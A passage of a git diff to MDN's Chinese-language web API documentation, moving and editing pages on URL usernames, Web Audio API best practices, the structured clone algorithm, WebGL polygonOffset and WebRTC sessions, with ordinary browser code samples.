[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

也可以看看

- - diff --git a/files/zh-cn/web/api/urlutils/username/index.html b/files/zh-cn/web/api/urlutils/username/index.html deleted file mode 100644 index 2e7a101f9f..0000000000 --- a/files/zh-cn/web/api/urlutils/username/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.username -slug: Web/API/URLUtils/username -tags: - - HTMLHyperlinkElementUtils.username -translation_of: Web/API/HTMLHyperlinkElementUtils/username ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

- -

Syntax

- -
string = object.username;
-object.username = string;
-
- -

Examples

- -
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
-var anchor = document.getElementByID("myAnchor");
-var result = anchor.username; // Returns:'anonymous'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- - diff --git a/files/zh-cn/web/api/web_audio_api/best_practices/index.html b/files/zh-cn/web/api/web_audio_api/best_practices/index.html new file mode 100644 index 0000000000..f0a241a557 --- /dev/null +++ b/files/zh-cn/web/api/web_audio_api/best_practices/index.html @@ -0,0 +1,100 @@ +--- +title: Web Audio API 最佳实践 +slug: Web/API/Web_Audio_API/最佳实践 +tags: + - Web Audio API + - 指导 + - 最佳实践 + - 音频 +translation_of: Web/API/Web_Audio_API/Best_practices +--- +
{{apiref("Web Audio API")}}
+ +

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

+ +

加载声音/声音文件

+ +

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

+ +

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

+ +

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

+ +

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

+ +

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

+ +

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

+ +

Cross browser & legacy support

+ +

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

+ +

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

+ +

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

+ +

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

+ +

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

+ +

自动播放策略

+ +

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

+ +
+

"Create or resume context from inside a user gesture".

+
+ +

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

+ +

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

+ +

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

+ +

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

+ +
const button = document.querySelector('button');
+button.addEventListener('click', function() {
+    const audioCtx = new AudioContext();
+}, false);
+
+ +

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

+ +
const audioCtx = new AudioContext();
+const button = document.querySelector('button');
+
+button.addEventListener('click', function() {
+      // check if context is in suspended state (autoplay policy)
+    if (audioCtx.state === 'suspended') {
+        audioCtx.resume();
+    }
+}, false);
+
+ +

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

+ +

User control

+ +

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

+ +

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

+ +

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

+ +

Setting AudioParam values

+ +

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

+ +
gainNode.gain.value = 0.5;
+
+ +

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

+ +
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
+
+ +

It will override the previous example (as it should), even if it were to come later in your code.

+ +

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" "b/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" deleted file mode 100644 index f0a241a557..0000000000 --- "a/files/zh-cn/web/api/web_audio_api/\346\234\200\344\275\263\345\256\236\350\267\265/index.html" +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Web Audio API 最佳实践 -slug: Web/API/Web_Audio_API/最佳实践 -tags: - - Web Audio API - - 指导 - - 最佳实践 - - 音频 -translation_of: Web/API/Web_Audio_API/Best_practices ---- -
{{apiref("Web Audio API")}}
- -

在创意编程中(creative coding)没有严格的对错之分。 只要你充分考虑安全性、性能和accessibility,你可以用自己的办法来编写代码。在这篇文章中,我们会分享一些最佳实践——包含使用Web Audio API的指导、小知识和小技巧。

- -

加载声音/声音文件

- -

使用Web Audio API加载声音的主要方式有四种,你可能会对于应当使用哪种方式有些困惑。

- -

在从文件中加载声音时,你可能会采取从{{domxref("HTMLMediaElement")}} (即  {{htmlelement("audio")}} 或{{htmlelement("video")}} )中抓取的方式,或提取文件并将其解码到缓冲区。两种工作方式都是合理的,然而,在处理全长音轨时,前一种方法会更加常见。而后一种方法更常见于处理更短的(例如样本)的音轨。

- -

多媒体类HTML元素有开箱即用的媒体流支持。音频会在浏览器判断可以在播放完成之前加载文件的剩余部分时进行播放(when the browser determines it can load the rest of the file before playing finishes.)。你可以在Using the Web Audio API tutorial这篇文档中看到一个把多媒体类HTML元素与Web Audio API结合使用的例子。

- -

如果你使用缓冲节点(buffer node)来加载音频,你将会有更多的控制权。虽然你需要请求这个文件,然后等待它加载完成(我们的这篇进阶文章中的这一节介绍了一个好办法)。但是,随后您可以直接访问数据,这意味着你能进行更精确,更精确的操作。

- -

对于来自用户的摄像头或麦克风的音频,你可以考虑通过Media Stream API和{{domxref("MediaStreamAudioSourceNode")}}接口来访问。这在与WebRTC协作以及你想录制或分析音频的场合下很管用。

- -

最后一个要介绍的方法时如何生成声音。这可以通过{{domxref("OscillatorNode")}}和创建一个缓冲区(buffer)然后向其中填充你的数据来完成。你可以在这篇指导你如何创建自己的乐器的文章中学习到用这两个工具创建声音的知识。

- -

Cross browser & legacy support

- -

The Web Audio API specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. Here we'll look at options for getting around cross-browser problems.

- -

There's the standardised-audio-context npm package, which creates API functionality consistently across browsers, full holes as they are found. It's constantly in development and endeavours to keep up with the current specification.

- -

There is also the option of libraries, of which there are a few depending on your use case. For a good all-rounder, howler.js is a good choice. It has cross-browser support and, provides a useful subset of functionality. Although it doesn't harness the full gamut of filters and other effects the Web Audio API comes with, you can do most of what you'd want to do.

- -

If you are looking for sound creation or a more instrument-based option, tone.js is a great library. It provides advanced scheduling capabilities, synths, and effects, and intuitive musical abstractions built on top of the Web Audio API.

- -

R-audio, from the BBC's Research & Development department, is a library of React components aiming to provide a "more intuitive, declarative interface to Web Audio". If you're used to writing JSX it might be worth looking at.

- -

自动播放策略

- -

浏览器已经开始实施自动播放策略,这一策略通常可以概括为:

- -
-

"Create or resume context from inside a user gesture".

-
- -

这在实践中意味着什么呢?user gesture可以解释为用户触发的事件(一般来说,是click事件)。浏览器厂商判定不应该允许Web Audio上下文自动播放音频,而应该由用户开始播放。这是因为自动播放音频非常烦人且令人讨厌。那么,我们该如何处理(handle)呢?

- -

无论是offline还是online,当你创建了一个音频上下文(audio context),它会有一个内部状态(state),这个状态有暂停(suspend)、播放(running)、关闭(closed)三种可能。

- -

(When you create an audio context (either offline or online) it is created with a state, which can be suspended, running, or closed.)

- -

例如,在使用 {{domxref("AudioContext")}}时,如果你在click事件中创建了音频上下文,它的内部状态应该会被自动设置成播放(running)。这里有一个在click事件中创建音频上下文简单的例子:

- -
const button = document.querySelector('button');
-button.addEventListener('click', function() {
-    const audioCtx = new AudioContext();
-}, false);
-
- -

如果你在用户动作之外创建上下文(create the context outside of a user gesture),它的内部状态会被设置为暂停(suspend)。这里我们可以同样用click事件的例子。我们会检查这个上下文的状态,并且启动它。如果它是暂停(suspend)的状态,使用resume()方法来恢复。

- -
const audioCtx = new AudioContext();
-const button = document.querySelector('button');
-
-button.addEventListener('click', function() {
-      // check if context is in suspended state (autoplay policy)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
-    }
-}, false);
-
- -

对于{{domxref("OfflineAudioContext")}},你也可以使用startRendering()方法来恢复到播放状态。

- -

User control

- -

If your website or application contains sound, you should allow the user control over it, otherwise again, it will become annoying. This can be achieved by play/stop and volume/mute controls. The Using the Web Audio API tutorial goes over how to do this.

- -

If you have buttons that switch audio on and off, using the ARIA role="switch" attribute on them is a good option for signalling to assistive technology what the button's exact purpose is, and therefore making the app more accessible. There's a demo of how to use it here.

- -

As you work with a lot of changing values within the Web Audio API and will want to provide users with control over these, the range input is often a good choice of control to use. It's a good option as you can set minimum and maximum values, as well as increments with the step attribute.

- -

Setting AudioParam values

- -

There are two ways to manipulate {{domxref("AudioNode")}} values, which are themselves objects of type {{domxref("AudioParam")}} interface. The first is to set the value directly via the property. So for instance if we want to change the gain value of a {{domxref("GainNode")}} we would do so thus:

- -
gainNode.gain.value = 0.5;
-
- -

This will set our volume to half. However, if you're using any of the AudioParam's defined methods to set these values, they will take precedence over the above property setting. If for example, you want the gain value to be raised to 1 in 2 seconds time, you can do this:

- -
gainNode.gain.setValueAtTime(1, audioCtx.currentTime + 2);
-
- -

It will override the previous example (as it should), even if it were to come later in your code.

- -

Bearing this in mind, if your website or application requires timing and scheduling, it's best to stick with the {{domxref("AudioParam")}} methods for setting values. If you're sure it doesn't, setting it with the value property is fine.

diff --git a/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html new file mode 100644 index 0000000000..60444f8dc4 --- /dev/null +++ b/files/zh-cn/web/api/web_workers_api/structured_clone_algorithm/index.html @@ -0,0 +1,108 @@ +--- +title: 结构化克隆算法 +slug: Web/Guide/API/DOM/The_structured_clone_algorithm +tags: + - DOM + - HTML5 + - 结构化克隆算法 +translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm +--- +

结构化克隆算法是由HTML5规范定义的用于复制复杂JavaScript对象的算法。通过来自 Workers的 postMessage() 或使用 IndexedDB 存储对象时在内部使用。它通过递归输入对象来构建克隆,同时保持先前访问过的引用的映射,以避免无限遍历循环。

+ +

结构化克隆所不能做到的

+ + + +

支持的类型

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
对象类型注意
所有的原始类型symbols 除外
Boolean 对象 
String 对象 
Date 
RegExplastIndex 字段不会被保留。
{{ domxref("Blob") }} 
{{ domxref("File") }} 
{{ domxref("FileList") }} 
ArrayBuffer 
ArrayBufferView这基本上意味着所有的 类型化数组 ,如 Int32Array 等。
{{ domxref("ImageData") }} 
Array 
Object仅包括普通对象(如对象字面量)
Map 
Set 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html new file mode 100644 index 0000000000..a62d4aeafa --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/polygonoffset/index.html @@ -0,0 +1,76 @@ +--- +title: WebGLRenderingContext.polygonOffset() +slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) +translation_of: Web/API/WebGLRenderingContext/polygonOffset +--- +
{{APIRef("WebGL")}}
+ +

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

+ +

The offset is added before the depth test is performed and before the value is written into the depth buffer.

+ +

语法

+ +
void gl.polygonOffset(factor, units);
+
+ +

参数

+ +
+
factor
+
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
+
units
+
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
+
+ +

返回值

+ +

None.

+ +

例子

+ +

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

+ +
gl.enable(gl.POLYGON_OFFSET_FILL);
+gl.polygonOffset(2, 3);
+
+ +

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

+ +
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
+gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" "b/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" deleted file mode 100644 index a62d4aeafa..0000000000 --- "a/files/zh-cn/web/api/webglrenderingcontext/\345\244\232\350\276\271\345\275\242\345\201\217\347\247\273(polygonoffset)/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebGLRenderingContext.polygonOffset() -slug: Web/API/WebGLRenderingContext/多边形偏移(polygonOffset) -translation_of: Web/API/WebGLRenderingContext/polygonOffset ---- -
{{APIRef("WebGL")}}
- -

The WebGLRenderingContext.polygonOffset() method of the WebGL API specifies the scale factors and units to calculate depth values.

- -

The offset is added before the depth test is performed and before the value is written into the depth buffer.

- -

语法

- -
void gl.polygonOffset(factor, units);
-
- -

参数

- -
-
factor
-
A {{domxref("GLfloat")}} which sets the scale factor for the variable depth offset for each polygon. 默认值为 0.
-
units
-
A {{domxref("GLfloat")}} which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. 默认值为 0.
-
- -

返回值

- -

None.

- -

例子

- -

The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the {{domxref("WebGLRenderingContext.enable", "enable()")}} and {{domxref("WebGLRenderingContext.disable", "disable()")}} methods with the argument gl.POLYGON_OFFSET_FILL.

- -
gl.enable(gl.POLYGON_OFFSET_FILL);
-gl.polygonOffset(2, 3);
-
- -

想要查看当前多边形偏移的 factor 或 units, 查询 POLYGON_OFFSET_FACTORPOLYGON_OFFSET_UNITS 的内容即可.

- -
gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2
-gl.getParameter(gl.POLYGON_OFFSET_UNITS);  // 3
-
- -

说明

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "polygonOffset")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glPolygonOffset.xml", "glPolygonOffset")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
- -

Browser compatibility

- - - -

{{Compat("api.WebGLRenderingContext.polygonOffset")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/webrtc_api/architecture/index.html b/files/zh-cn/web/api/webrtc_api/architecture/index.html deleted file mode 100644 index 5f37d83529..0000000000 --- a/files/zh-cn/web/api/webrtc_api/architecture/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: WebRTC 架构概览 -slug: Web/API/WebRTC_API/Architecture -tags: - - WebRTC 架构概览 -translation_of: Web/API/WebRTC_API/Protocols -translation_of_original: Web/API/WebRTC_API/Architecture ---- -

{{WebRTCSidebar}}

- -

用来创建WebRTC连接的API底层使用了一系列的网络协议和连接标准。这篇文章涵盖了这些标准。

- -

为了让WebRTC正常工作,需要的协议、标准和API比较繁多。因此对于初学者来说可能会比较难以理解。当你一旦上手,你会惊喜地发现原来这一切都是如此的优雅和简单易懂。至于你信不信,反正我是信了。

- - - - -

重定向 WebRTC 协议介绍

diff --git a/files/zh-cn/web/api/webrtc_api/overview/index.html b/files/zh-cn/web/api/webrtc_api/overview/index.html deleted file mode 100644 index da693553b8..0000000000 --- a/files/zh-cn/web/api/webrtc_api/overview/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: WebRTC API overview -slug: Web/API/WebRTC_API/Overview -translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage -translation_of_original: Web/API/WebRTC_API/Overview ---- -

{{WebRTCSidebar}}

- -

WebRTC是由一些关联的API和协议一起协作,支持两个或多个终端之间交换数据和媒体信息的技术。这篇文章提供了这些APIs的介绍和提供的功能。

- -

RTCPeerConnection

- -

在媒体能够交换,或者数据通道建立之前,你需要把两个终端连接起来。这个连接过程的完成就是使用{{domxref("RTCPeerConnection")}} 接口。

- -

MediaStream

- -

{{domxref("MediaStream")}}接口描述了终端之间传输的媒体流。这个流由一个或多个媒体通道信息;通常这是一个音频通道或者视频通道信息。一个媒体流能够传输实时的媒体(例如音频通话或者视频会议等)或者已存的媒体(例如网上电影)。

- -

RTCDataChannel

- -

WebRTC支持在建立连接的两个终端之间相互的传输二进制数据。这个过程通过{{domxref("RTCDataChannel")}}接口。

- -

这个接口可以作为数据的反向通道,甚至作为主要的数据通道去交换各种数据。例如在游戏应用中,通过这个接口可以实现多玩家支持,相互传送玩家的动作更新之类的数据。

diff --git a/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html new file mode 100644 index 0000000000..86ddf25b47 --- /dev/null +++ b/files/zh-cn/web/api/webrtc_api/session_lifetime/index.html @@ -0,0 +1,88 @@ +--- +title: WebRTC 介绍 +slug: WebRTC/介绍 +translation_of: Web/API/WebRTC_API/Session_lifetime +--- +
+

此页面正在建设中,部分内容会移至其他页面,因为WebRTC指导资料已经建成。

+ +

WebRTC允许您将任意数据,音频或视频(或其任何组合)的点对点通信构建到浏览器应用程序中。 在本文中,我们将介绍一个WebRTC会话的生命周期,从建立连接到不再需要时关闭连接。

+
+ +

创建连接

+ +

互联网很大 很大。 那么多年以前,聪明的人看到它有多大,增长速度有多快,32位IP寻址系统的局限性,并意识到有些事情要做,所以他们开始设计一个新的 64位寻址系统。 但是他们意识到,完成转换需要更长时间才能持续32位地址,所以其他一些机智的人们想出了让多台计算机共享同一个32位IP地址的方法。 网络地址转换(NAT)是通过操纵LAN上的所有设备的数据出入的路由来支持这种地址共享的标准,所有这些设备都共享同一个WAN(全局)IP地址。

+ +

用户的问题是互联网上的每台个人计算机不再一定具有唯一的IP地址,实际上,每个设备的IP地址也会变,不仅可能由于设备从一个网络移动到另一个网络,也可能被NAT和/或DHCP改变。 对于尝试进行点对点网络的开发人员,这引入了一个难题:没有每个用户设备的唯一标识符,不可能立即自动地知道如何连接到Internet上的特定设备。 即使你知道你想谈论的人,你不一定知道如何到达他们,甚至也不知道他们的地址。

+ +

这就像您尝试向您的朋友Michelle发送一个包裹,但您只在这个包裹上贴了一个写着“Michelle”的标签,而您并不知道她的地址。 您得查到她的地址并将其包装在包中,要不然她会在想为什么你又忘记她的生日了。

+ +

这就是信令(Signaling)的由来。

+ +

信令

+ +

信令是在两个设备之间发送控制信息以确定通信协议、信道、媒体编解码器和格式以及数据传输方法以及任何所需的路由信息的过程。 关于WebRTC的信令流程最重要的一点是:信令在规范中并没有定义。所以开发者需要自己决定如何实现这个过程。开发者可以为应用程序引擎选择任意的信息协议(如SIP或XMPP),任意双向通信信道(如WebSocket或XMLHttpRequest)与持久连接服务器的API(如Google Channel API)一起工作。

+ +

你可能会想,为什么这么一个对于建立WebRTC连接至关重要的基本过程居然没有定义在规范里? 答案很简单:由于两个设备无法直接相互联系,规范无法预测WebRTC的所有可能用例,因此更明智的做法就是让开发人员们自己选择合适的网络技术和消息传递协议。

+ +

尤其是如果一个开发人员已经有了一个连接两个设备的方法,那也没有必要强迫他们就为了WebRTC使用另一个规范定义的方法。 由于WebRTC没有生活在真空中,所以可能还有其他的连接,因此,如果可以使用已有的连接通道,就可以避免添加额外的连接通道。

+ +

为了交换信令信息,您可以选择通过WebSocket连接来回发送JSON对象,或者您可以在适当的通道(Channel)上使用XMPP或SIP,或者您可以通过HTTPS使用XMLHttpRequest进行轮询或者其他任何你可以想出来的技术组合。你甚至可以使用电子邮件作为信号通道。

+ +

还值得注意的是,用于执行信令的信道甚至不需要通过网络。 一个Peer可以输出一个数据对象,这个数据对象可以被打印出来,然后物理携带(步行或由信鸽)直到进入另一个设备,然后由该设备输出响应,并以同种方式返回, 直到WebRTC对等连接打开。 这将带来非常高的延迟,但也是可以做到的。

+ +

信令期间交换的信息

+ +

信令期间需要交换的信息有三种基本类型:

+ + + +

只有在信令成功完成之后,打开WebRTC对等连接的过程才真正开始。

+ +

值得注意的是,在信令期间,信令服务器实际上不需要理解两个设备之间交换的数据或者对这些数据做任何处理。 信令服务器本质上就是一个中继器:两端连接的公共点,两端都知道它们的信令数据可以通过这个点来传输。 服务器不需要以任何方式对此信息做出反应。

+ +

信令过程

+ +

为了开启一个WebRTC会话,以下事件需要依次发生:

+ +
    +
  1. 每个Peer创建一个RTCPeerConnection对象,用来表示其WebRTC会话端。
  2. +
  3. 每个Peer建立一个icecandidate事件的响应程序,用来在监测到该事件时将这些candidates通过信令通道发送给另一个Peer。
  4. +
  5. 每个Peer建立一个track事件的响应程序,这个事件会在远程Peer添加一个track到其stream上时被触发。这个响应程序应将tracks和其消受者联系起来,例如{{HTMLElement("video")}}元素。
  6. +
  7. 呼叫者创建并与接收者共享一个唯一的标识符或某种令牌,使得它们之间的呼叫可以由信令服务器上的代码来识别。此标识符的确切内容和形式取决于您。
  8. +
  9. 每个Peer连接到一个约定的信令服务器,如WebSocket服务器,他们都知道如何与之交换消息。
  10. +
  11. 每个Peer告知信令服务器他们想加入同一WebRTC会话(由步骤4中建立的令牌标识)。
  12. +
  13. 描述,候选地址等 -- 之后会有更多
  14. +
+ +

ICE 重连

+ +

有时,在WebRTC会话的整个生命周期内,网络条件会发生变化。 其中一个用户可能会从蜂窝网络转移到WiFi网络,或者网络可能会变得拥塞。 当这种情况发生时,ICE代理可以选择执行ICE重连。 在这个过程中网络连接会进行重新协商,与执行初始ICE协商的方式完全相同,除了:媒体继续流过原始网络连接直到新的开始运行。 然后媒体转移到新的网络连接,旧的关闭。

+ +

不同的浏览器支持在不同情况下的进行ICE重连。 例如,并不是所有的浏览器都会因为网络拥塞执行ICE重连。

+ +

ICE重连有两个级别:全ICE重连会导致会话中的所有媒体流重新协商。 部分ICE重连允许ICE重新协商特定媒体流,而不是所有媒体流进行重新协商。 然而,有些浏览器还不支持部分ICE重启。 <<<你如何触发每一个?>>>

+ +

如果您需要以某种方式更改连接的配置(例如更改为不同的ICE服务器集),您可以调用RTCPeerConnection.setConfiguration()设置新的RTCConfiguration字典,然后重新启动ICE。

+ +

要明确触发ICE重新启动,只需通过调用RTCPeerConnection.createOffer()启动一个协商过程,同时指定iceRestart选项为true。 然后就像平时那样处理连接过程即可。

+ +

发送

+ +

getUserMedia(获取用户媒体)

+ +

LocalMediaStream object

+ +

接收

+ +

WebRTC 在Firefox浏览器的偏好选择选项是隐藏的。可以到 about:config 这个页面设置 'media.navigator.enabled' 为 'true'。

+ +
+

在Source tree 中有一些测试文件可以提供给您关于WebRTC如何工作的一个想法。具体例子请查看: dom/media/tests/local_video_test.html。您也可以尝试 服务器demo ,源代码: server source

+
+ +

 

diff --git a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html b/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html deleted file mode 100644 index 67464bdbd1..0000000000 --- a/files/zh-cn/web/api/webrtc_api/webrtc_basics/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: WebRTC basics -slug: Web/API/WebRTC_API/WebRTC_basics -translation_of: Web/API/WebRTC_API/Signaling_and_video_calling -translation_of_original: Web/API/WebRTC_API/WebRTC_basics ---- -

{{WebRTCSidebar}}

- -
-

当你理解 WebRTC 架构之后, 你就可以阅读本篇文章了。本篇文章将带领你贯穿整个跨浏览器 RTC 应用的创建过程。到本章结束的时候,你就拥有了一个可以运行的点对点的数据通道和媒体通道。

-
- -
-

本页的案例过期了! 不要再尝试他们了。

-
- -

注意

- -

由于近期 API 做了一些修改,一些比较老的案例需要修复,暂时不可用。

- - - -

当前可以正常工作的的案例是:

- - - -

正确的实现方式或许可以从标准中推断出来。

- -

本页包含的其余的过期的信息,在 bugzilla

- -

Shims

- -

就像你想的那样,这样前卫的 API 肯定需要浏览器前缀才可以,然后再将它转换成通用的变量。

- -
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
-var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
-var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
-navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
- -

RTCPeerConnection

- -

这是使用 peer 创建连接的起始点。它接收一个配置选项,其中配置了用来创建连接的 ICE 服务器信息。

- -
var pc = new RTCPeerConnection(configuration);
- -

RTCConfiguration

- -

 {{domxref("RTCConfiguration")}} 对象包含了一些信息,这些信息是关于用来做 ICE 的 TURN 和 / 或 STUN 服务器的。这是用来确保大多数用户可以避免因 NAT 和防火墙导致的无法建立连接。

- -
var configuration = {
-    iceServers: [
-        {urls: "stun:23.21.150.121"},
-        {urls: "stun:stun.l.google.com:19302"},
-        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
-    ]
-}
- -

